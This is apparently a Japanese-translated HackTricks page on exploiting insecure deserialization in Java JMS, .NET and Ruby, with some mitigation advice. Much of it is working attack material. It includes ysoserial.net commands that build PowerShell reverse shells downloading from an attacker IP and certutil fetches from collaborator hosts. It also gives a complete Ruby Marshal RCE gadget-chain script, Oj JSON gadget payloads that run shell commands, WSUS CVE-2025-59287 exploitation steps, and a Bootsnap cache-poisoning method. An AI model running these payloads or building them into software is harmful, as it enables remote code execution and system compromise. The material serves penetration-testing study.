以下のページで、JNDI Injection が何か、RMI、CORBA、LDAP を介してそれをどう悪用するか、そして log4shell をどう exploit するか(この vuln の例を含む)を確認してください:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

The Java Message Service (JMS) API は、2 つ以上のクライアント間でメッセージを送信するための Java のメッセージ指向ミドルウェア API です。producer–consumer の問題を扱うための実装です。JMS は Java Platform, Enterprise Edition (Java EE) の一部であり、元々は Sun Microsystems によって開発された仕様によって定義され、その後は Java Community Process によって導かれてきました。これは、Java EE ベースのアプリケーションコンポーネントがメッセージを作成、送信、受信、読み取ることを可能にするメッセージング標準です。分散アプリケーションの異なるコンポーネント間の通信を、疎結合で信頼性があり非同期にすることを可能にします。 (From Wikipedia).

製品

このミドルウェアを使ってメッセージを送信する製品がいくつか存在します:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Exploitation

要するに、JMS を危険な方法で使用しているサービスが多数存在します。したがって、これらのサービスにメッセージを送信するための十分な権限(通常は有効な認証情報が必要)を持っている場合、consumer/subscriber によって deserialized されるような malicious な serialized objects を送信できる可能性があります。
これは、この悪用において、そのメッセージを使用するすべてのクライアントが感染することを意味します。

サービスが脆弱であっても(ユーザー入力を insecurely deserializing しているため)脆弱性を exploit するには有効な gadgets を見つける必要があることを忘れないでください。

ツール JMET は、既知の gadgets を使って複数の malicious な serialized objects を送信し、この種のサービスに接続して攻撃するために作られました。これらの exploits は、サービスがまだ脆弱であり、かつ使用される gadgets のいずれかが脆弱なアプリケーション内に存在する場合に機能します。

参考資料

.Net

.Net の文脈では、deserialization exploits は Java の場合と同様に動作し、gadget を利用してオブジェクトの deserialization 中に特定のコードを実行させます。

Fingerprint

WhiteBox

ソースコードを調査して、以下の出現箇所を確認してください:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

ユーザー制御下の変数によって型が決定されることを許可する serializer に注目するべきです。

BlackBox

検索は Base64 エンコード文字列 AAEAAAD///// や、サーバー側で deserialization が行われ、デシリアライズされる型の制御を与える可能性のある類似パターンをターゲットにすべきです。これには TypeObject$type を含むがそれに限定されない JSONXML 構造が含まれます。

ysoserial.net

この場合、ツール ysoserial.net を使って deserialization exploits を作成できます。git リポジトリをダウンロードしたら、たとえば Visual Studio を使って ツールを compile する必要があります。

ysoserial.net がどのように exploit を生成するかを学びたい場合は、ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter が説明されているこのページを参照してください。

ysoserial.net の主なオプションは: --gadget, --formatter, --output--plugin です。

  • --gadget は abuse する gadget を指定するために使用します(deserialization 中にコマンドを実行するために悪用されるクラス/関数を指示します)。
  • --formatter は exploit を serialize する方法を指定するために使用します(バックエンドが payload を deserialize する際に使っているライブラリを知っていて、同じ方法で serialize する必要があります)。
  • --output は exploit を rawbase64 エンコードで出力するかを指定するために使用します。注意: ysoserial.net はデフォルトで payload を UTF-16LE(Windows でデフォルトのエンコーディング)で encode するため、raw を取得して Linux コンソール等で別のエンコーディングに変換すると、互換性の問題が発生し exploit が正しく動作しないことがあります(HTB JSON box では payload が UTF-16LE と ASCII の両方で動作しましたが、常にそうとは限りません)。
  • --plugin ysoserial.net は ViewState のような特定のフレームワーク向けに exploit を作るためのプラグインをサポートします。

More ysoserial.net parameters

  • --minify は可能な場合に より小さい payload を生成します。
  • --raf -f Json.Net -c "anything" は指定した formatter(この場合は Json.Net)で使用できるすべての gadgets を表示します。
  • --sf xml は gadget を指定して(-g)ysoserial.net が “xml” を含むような formatter を検索するようにします(大文字小文字を区別しません)。

ysoserial examples to create exploits:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net には、各 exploit がどのように動作するかをよりよく理解するのに役立つ 非常に興味深いパラメータ があり、それが --test
このパラメータを指定すると、ysoserial.net試行 the exploit locally, つまり your payload が正しく動作するかをテストできます。
このパラメータは便利です。コードを確認すると、次のようなコードの断片が見つかるからです (from ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

これは、exploit をテストするためにコードが serializersHelper.JsonNet_deserialize を呼び出すことを意味します

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

In the 前述のコードは作成されたエクスプロイトに対して脆弱である。So if you find something similar in a .Net application it means that probably that application is vulnerable too.
Therefore the --test parameter allows us to understand which chunks of code are vulnerable to the desrialization exploit that ysoserial.net can create.

ViewState

この投稿を見て this POST about how to try to exploit the __ViewState parameter of .Net .Net の __ViewState パラメータを悪用して 任意のコードを実行する 方法を確認してください。もし被害者マシンで使用されている secrets を既に知っている場合は、この投稿を読んでコード実行方法を確認してください

Real‑world sink: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE

  • Affected endpoints:
  • /SimpleAuthWebService/SimpleAuth.asmx → GetCookie() AuthorizationCookie が復号され、その後 BinaryFormatter でデシリアライズされる。
  • /ReportingWebService.asmx → ReportEventBatch および関連する SOAP オペレーションが SoapFormatter の sink に到達する;WSUS コンソールがイベントを取り込む際に base64 ガジェットが処理される。
  • Root cause: 攻撃者制御のバイト列が厳密な allow‑lists/binders なしでレガシー .NET フォーマッタ(BinaryFormatter/SoapFormatter)に到達し、ガジェットチェーンが WSUS サービスアカウント(多くは SYSTEM)として実行される。

Minimal exploitation (Reporting path):

  1. ysoserial.net を使って .NET ガジェットを生成し(BinaryFormatter または SoapFormatter)、base64 で出力する。例えば:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"

# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
  1. ReportEventBatch 用の SOAP を作成し、base64 gadget を埋め込み、/ReportingWebService.asmx に POST する。
  2. 管理者が WSUS コンソールを開くと、イベントがデシリアライズされ、gadget が発動し(RCE が SYSTEM として実行される)。

AuthorizationCookie / GetCookie()

  • 偽造した AuthorizationCookie は受け入れられ、復号され、BinaryFormatter の sink に渡され、到達可能であれば pre‑auth RCE を可能にする。

Public PoC (tecxx/CVE-2025-59287-WSUS) parameters:

$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"

参照 Windows Local Privilege Escalation – WSUS

防止策

To mitigate the risks associated with deserialization in .Net:

  • データストリームにオブジェクト型を定義させない。 可能な場合は DataContractSerializerXmlSerializer を使用する。
  • For JSON.Net, set TypeNameHandling to None: TypeNameHandling = TypeNameHandling.None
  • JavaScriptSerializerJavaScriptTypeResolver の組み合わせを使用しない。
  • デシリアライズ可能な型を制限する。 System.IO.FileInfo のような .Net 型はサーバ上のファイルのプロパティを変更でき、potentially leading to denial of service attacks。
  • 危険なプロパティを持つ型に注意する。 例: System.ComponentModel.DataAnnotations.ValidationExceptionValue プロパティは悪用され得る。
  • 型のインスタンス化を安全に制御する。 攻撃者がデシリアライズ過程に影響を与えられないようにし、そうしないと DataContractSerializerXmlSerializer ですら脆弱になる。
  • カスタムの SerializationBinderBinaryFormatterJSON.Net に対して用い、ホワイトリスト制御を実装する。
  • .Net 内の既知の不安全なデシリアライズガジェットについて情報を常に把握し、デシリアライザがそのような型をインスタンス化しないようにする。
  • 潜在的にリスクのあるコードをインターネットへアクセスするコードから分離する。 これにより、WPF アプリケーションの System.Windows.Data.ObjectDataProvider のような既知のガジェットを信頼できないデータソースに晒さないようにする。

参考文献

Ruby

Ruby では、marshal ライブラリ内の 2 つのメソッドでシリアライズが行われる。最初のメソッド、dump はオブジェクトをバイトストリームに変換するために使われ、この処理をシリアライズと呼ぶ。逆に、2 番目のメソッド load はバイトストリームをオブジェクトに戻すために使われ、これをデシリアライズと呼ぶ。

シリアライズされたオブジェクトを保護するために、Ruby は HMAC (Hash-Based Message Authentication Code) を採用して データの完全性と真正性を保証する。 この目的で使用されるキーは以下のいずれかの場所に保存されていることがある:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X の汎用デシリアライズから RCE ガジェットチェーンへの経路(詳細は https://www.elttam.com/blog/ruby-deserialization/:

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Other RCE chain to exploit Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby の .send() メソッド

As explained in this vulnerability report, ユーザーからの未サニタイズな入力が ruby オブジェクトの .send() メソッドに渡ると、このメソッドはオブジェクトの 任意の他のメソッドを呼び出す ことを、任意のパラメータで可能にします。

For example, calling eval and then ruby code as second parameter will allow to execute arbitrary code:

<Object>.send('eval', '<user input with Ruby code>') == RCE

さらに、先の解説で述べたように、攻撃者が**.send()** のパラメータのうち1つだけを制御できる場合、引数を必要としないか、引数にデフォルト値があるオブジェクトの任意のメソッドを呼び出すことが可能です。
そのために、オブジェクトのすべてのメソッドを列挙して、これらの要件を満たす興味深いメソッドを見つけることができます。

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

ここで pollute a Ruby class and abuse it in here がどのように可能か確認してください。

Ruby _json pollution

リクエストボディに配列のようなハッシュ化できない値を送ると、それらは_jsonという新しいキーに追加されます。ただし、攻撃者がボディ内に任意の値を持つ_jsonキーを設定することも可能です。その場合、バックエンドが例えばあるパラメータの正当性をチェックした上で、_jsonパラメータを使って何らかの処理を行うと、認可バイパスが発生する可能性があります。

詳しくはRuby _json pollution pageを参照してください。

その他のライブラリ

この手法は from this blog post に基づいています。

オブジェクトのシリアライズに使用され、不正なデシリアライズ時にRCEを引き起こすために悪用される可能性のある他のRubyライブラリもあります。以下の表はこれらのライブラリのいくつかと、デシリアライズ時に呼び出されるメソッド(基本的にRCEを得るために悪用できる関数)を示しています:

ライブラリ入力データクラス内で呼び出されるメソッド
Marshal (Ruby)Binary_load
OjJSONhash(class を hash(map) のキーとして格納する必要がある)
OxXMLhash(class を hash(map) のキーとして格納する必要がある)
Psych (Ruby)YAMLhash(class を hash(map) のキーとして格納する必要がある)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))

簡単な例:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Ojを悪用しようとした場合、gadget class を見つけられ、その内部の hash 関数が to_s を呼び出し、to_s が spec を呼び出し、さらに fetch_path を呼び出して任意のURLを取得させることが可能で、こうしたサニタイズされていない deserialization vulnerabilities の有効な検出方法になった。

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

さらに、前述の手法によりシステム上にフォルダが作成されることがわかった。これは別の gadget を悪用して、次のような方法でこれを完全な RCE に変えるための要件である:

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Check for more details in the original post.

Bootstrap Caching

Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).

Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:

  • Identify the Vulnerability and Environment

Railsアプリのファイルアップロード機能により、攻撃者が任意のファイルを書き込める。アプリは制限付きで動作している(Dockerのnon-rootユーザーのため tmp 等限られたディレクトリしか書き込み可能ではない)が、それでもBootsnapのキャッシュディレクトリ(通常 tmp/cache/bootsnap の下)への書き込みは可能になる。

  • Understand Bootsnap’s Cache Mechanism

Bootsnapはコンパイル済みRubyコード、YAML、JSONファイルをキャッシュしてRailsの起動時間を高速化する。キャッシュファイルはキャッシュキーのヘッダ(Rubyのバージョン、ファイルサイズ、mtime、compile optionsなどのフィールドを含む)とコンパイル済みコードが続く形で保存される。このヘッダはアプリ起動時にキャッシュを検証するために使われる。

  • Gather File Metadata

攻撃者はまずRailsの起動時に読み込まれる可能性の高いターゲットファイル(例: set.rb)を選ぶ。コンテナ内でRubyコードを実行して、RUBY_VERSION、RUBY_REVISION、size、mtime、compile_option といった重要なメタデータを抽出する。このデータは有効なキャッシュキーを作成するために必須である。

  • Compute the Cache File Path

BootsnapのFNV-1a 64-bitハッシュ機構を再現して、正しいキャッシュファイルパスを決定する。この手順により、悪意あるキャッシュファイルがBootsnapが期待する正確な場所(例: tmp/cache/bootsnap/compile-cache-iseq/)に配置されることが保証される。

  • Craft the Malicious Cache File

攻撃者は以下を行うペイロードを用意する:

  • 任意のコマンドを実行(例: id を実行してプロセス情報を表示)。
  • 再帰的な悪用を防ぐため、実行後に悪意あるキャッシュを削除する。
  • アプリケーションがクラッシュしないように元のファイル(例: set.rb)をロードする。

このペイロードはバイナリのRubyコードにコンパイルされ、先に集めたメタデータと正しいバージョン番号を使って慎重に構築したキャッシュキーのヘッダと連結される。

  • Overwrite and Trigger Execution

任意ファイル書き込み脆弱性を使って、作成したキャッシュファイルを計算した場所に書き込む。次にサーバを再起動させる(Pumaが監視している tmp/restart.txt に書き込むなど)。再起動時にRailsがターゲットファイルを require すると、悪意あるキャッシュファイルが読み込まれ、結果としてRCEが発生する。

Ruby Marshal exploitation in practice (updated)

Treat any path where untrusted bytes reach Marshal.load/marshal_load as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.

  • 最小の脆弱な Rails コードパス:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • 実際のチェインで見られる一般的なガジェットクラス: Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • ペイロードに埋め込まれる典型的な副作用マーカー(unmarshal 時に実行):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

Where it surfaces in real apps:

  • Rails の cache stores と session stores(歴史的に Marshal を使用)
  • Background job バックエンドやファイル格納型オブジェクトストア
  • バイナリオブジェクトブロブのカスタムな永続化や転送

Industrialized gadget discovery:

  • コンストラクタ、hash_loadinit_with、または unmarshal 中に呼び出される副作用のあるメソッドを Grep する
  • CodeQL の Ruby unsafe deserialization クエリを使って sources → sinks を追跡し、gadgets を抽出する
  • 公開されているマルチフォーマットの PoCs (JSON/XML/YAML/Marshal) で検証する

参考文献

  • Trail of Bits – Marshal madness: Ruby の deserialization エクスプロイトの簡潔な歴史: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
  • OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
  • PoC – tecxx/CVE-2025-59287-WSUS
  • RSC Report Lab – CVE-2025-55182 (React 19.2.0)

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする